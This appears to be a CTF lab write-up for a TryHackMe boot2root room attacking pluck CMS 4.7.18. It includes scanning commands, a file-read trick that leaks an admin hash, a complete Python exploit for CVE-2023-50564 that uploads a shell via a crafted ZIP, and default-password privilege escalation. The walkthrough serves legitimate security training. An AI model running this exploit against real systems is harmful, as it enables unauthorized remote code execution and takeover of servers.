> For the complete documentation index, see [llms.txt](https://ad3n.gitbook.io/ad3n/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ad3n.gitbook.io/ad3n/home/ctf-writeups/ucc-ctf-2024/boot2root.md).

# Boot2root

Room: <https://tryhackme.com/r/room/workTM>                                                                                      Difficulty: Medium

<figure><img src="https://906050983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNUYCtlc0k8qWwmB2FmiA%2Fuploads%2Fkkb2fnp9KjJZ5CgtYIzk%2Fimage.png?alt=media&amp;token=b70aea4f-335a-41da-9b93-316656634da3" alt="" width="563"><figcaption></figcaption></figure>

For this writeup I try to make it like a walkthrough each step for better understanding and what typically done when doing the boot2root challenges.

### Step 1 - Scanning and enumeration.

When given the IP address, first thing to do is scanning which need to find any open port available in this machine and find the information each open port. Generally, use tool like `nmap` or can use any tool available for port scanning.  Use this command to start scanning:

```bash
nmap -A -sC -sV -Pn 10.10.78.224
```

| Options | Descriptions                                                        |
| ------- | ------------------------------------------------------------------- |
| A       | enables aggressive scanning                                         |
| sC      | enables the use of default scripts in Nmap’s scripting engine (NSE) |
| sV      | enables service version detection                                   |
| Pn      | skip the host discovery step and treat the target as if it is alive |

Output:&#x20;

<figure><img src="https://906050983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNUYCtlc0k8qWwmB2FmiA%2Fuploads%2FZT97wgBVyx7NPcZaiKBq%2Fimage.png?alt=media&amp;token=5b2243ee-b08e-4d82-b78f-d1a0a4dc32f9" alt="" width="563"><figcaption></figcaption></figure>

Based on the output, there is only 2 open ports, `ssh` and `http`. Ignore the ssh first since there is no information about credential to login using ssh. In the result of nmap stated that there is file called `robots.txt` in the web running on http. Before that, since there is web running on the server, issues command `gobuster` to do directory enumeration to find any hidden directory in the web given.

```bash
gobuster dir -u http://10.10.78.224/ -w /usr/share/wordlists/dirb/common.txt
```

| Options | Descriptions                             |
| ------- | ---------------------------------------- |
| dir     | specify mode for directory brute-forcing |
| u       | target URL to scan                       |
| w       | wordlist to use                          |

Output:

<figure><img src="https://906050983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNUYCtlc0k8qWwmB2FmiA%2Fuploads%2FCwqXwiu8QZO9seZa1CKa%2Fimage.png?alt=media&amp;token=985422af-6912-471d-95fc-05df68924d9c" alt="" width="500"><figcaption></figcaption></figure>

### Step 2 - Gaining access

Based on the information gather earlier in scanning and enumeration, at directory enumeration there is 2 interesting directories with the status `200` which is `admin.php` and `robots.txt`. In robots.txt there nothing interesting in the directory `/data/` and `/docs/`, so proceed to admin.php will result in login page which need to enter password only to login to admin page. This login page is basically preventing brute force attacks which implement rate limit of login attempt and need to wait another 5 minutes to make login attempt.

<figure><img src="https://906050983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNUYCtlc0k8qWwmB2FmiA%2Fuploads%2FwHElbUkdvbldrWUFohbO%2Fimage.png?alt=media&amp;token=eaf681de-e400-4841-82e4-9d7c07e9dd7d" alt="" width="563"><figcaption></figcaption></figure>

At this point with the information gather, this web is running on pluck 4.7.18 and try to find any vulnerability or exploit with that specific version which the result will be this `CVE-2023-50564` where pluck 4.7.18 allows attackers to execute arbitrary code via uploading a crafted ZIP file. But for this to be executed need to be authenticated first, so leave this behind later.

Try to do more research if there any possible way or vulnerability available without any authentication which found this github proof of concept, <https://github.com/pluck-cms/pluck/issues/122> where `albums_getimage.php` file uses the `?image=` parameter without checking if it’s actually an image, letting attackers remotely read any file type on the server. But it doesn’t seem like path traversal (going backwards through directories) is possible.

Checking the based directory that are exposed to the vulnerability `/data/settings/modules/albums/` find a very useful file that able to read the content using the POC which is `admin_backup.php`.

<figure><img src="https://906050983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNUYCtlc0k8qWwmB2FmiA%2Fuploads%2FZSOMYrEN8pY3FjJ7WRYY%2Fimage.png?alt=media&amp;token=de5a880d-7fa4-4c86-a52e-16dfd3e9d0a1" alt="" width="563"><figcaption></figcaption></figure>

So, following the POC that provided earlier able to read the content of admin\_backup.php which there is hashed password of the admin and when decrypt the hash using <https://crackstation.net/> will result the password = `hahaha`.

<figure><img src="https://906050983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNUYCtlc0k8qWwmB2FmiA%2Fuploads%2FDKJOeyrp4XLXjDBVBl5s%2Fimage.png?alt=media&amp;token=d8d3660c-1655-495f-a327-3ba55589c9e1" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://906050983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNUYCtlc0k8qWwmB2FmiA%2Fuploads%2FUzsIw2yA01zMo6d7rjJ2%2Fimage.png?alt=media&amp;token=da7c68bd-e82c-4462-8ff1-14c51f44cbb4" alt="" width="563"><figcaption></figcaption></figure>

Remember earlier the CVE-2023-50564? Since now able to reach the admin.php and try to gain reverse shell using this POC, <https://github.com/Rai2en/CVE-2023-50564_Pluck-v4.7.18_PoC>. Running the script will eventually connect to our kali and gain reverse shell. Below is the script:

```python
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

login_url = "http://{ip}/login.php"
upload_url = "http://{ip}/admin.php?action=installmodule"
headers = {"Referer": login_url,}
login_payload = {"cont1": "hahaha","bogus": "","submit": "Log in"}

file_path = input("ZIP file path: ")

multipart_data = MultipartEncoder(
    fields={
        "sendfile": ("payload.zip", open(file_path, "rb"), "application/zip"),
        "submit": "Upload"
    }
)

session = requests.Session()
login_response = session.post(login_url, headers=headers, data=login_payload)


if login_response.status_code == 200:
    print("Login account")

 
    upload_headers = {
        "Referer": upload_url,
        "Content-Type": multipart_data.content_type
    }
    upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)

    
    if upload_response.status_code == 200:
        print("ZIP file download.")
    else:
        print("ZIP file download error. Response code:", upload_response.status_code)
else:
    print("Login problem. response code:", login_response.status_code)


rce_url="http://{ip}/data/modules/payload/shell.php"

rce=requests.get(rce_url)

print(rce.text)
```

<figure><img src="https://906050983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNUYCtlc0k8qWwmB2FmiA%2Fuploads%2FB4v3P2eotNyd3KzVVwFQ%2Fimage.png?alt=media&amp;token=a9b40cdb-0626-4e68-952d-4befafdf689e" alt="" width="563"><figcaption></figcaption></figure>

By gaining the reverse shell, first make the shell more interactive which can refer to this, <https://youtu.be/vOEO_6xfsdo?si=K8LaP7AeYLq7QUT6>. Then try to retreive the user flag which found the user abu that contained user.txt in abu directory and read the file will retreive the flag.

<figure><img src="https://906050983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNUYCtlc0k8qWwmB2FmiA%2Fuploads%2Fa31MUuu7oUf0xakmCFEd%2Fimage.png?alt=media&amp;token=cd34db42-3e8d-49f1-b0ce-808a8dc6af32" alt="" width="531"><figcaption></figcaption></figure>

### Step 3 - Privilege escalation to become "root"

At this point, successfully switch user to abu using the same password retrieve earlier and find any misconfiguration or vulnerability using `linpeas` script. Nothing valuable was found other than these 3 users with console, which user `kali` really caught my eyes. What if the kali user using default password? (which is also `kali`). So by that try to log in as user kali and successfully log in.

<figure><img src="https://906050983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNUYCtlc0k8qWwmB2FmiA%2Fuploads%2FQswuc78w2NxaWZlKsFeh%2Fimage.png?alt=media&amp;token=abbc2b69-9665-4670-99da-651996487dc8" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://906050983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNUYCtlc0k8qWwmB2FmiA%2Fuploads%2FooiMtM0dUVN3JEXe1ku5%2Fimage.png?alt=media&amp;token=8ad596d2-e40b-4bee-82a3-48a6c603be52" alt="" width="280"><figcaption></figcaption></figure>

Since kali are in sudo group, this can be used to bypass local restriction and switch to root using command below and finally can retrieve the root flag.

```bash
sudo /bin/bash
```

<figure><img src="https://906050983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNUYCtlc0k8qWwmB2FmiA%2Fuploads%2FVeEgRA6KKWKVyIT4Lo4a%2Fimage.png?alt=media&amp;token=d145f35d-46b5-4192-a02a-347b57c46a9c" alt="" width="523"><figcaption></figcaption></figure>

PS: I did not solve this challenge at the given time because I participated solo and tried to do other easier challenges first 😂
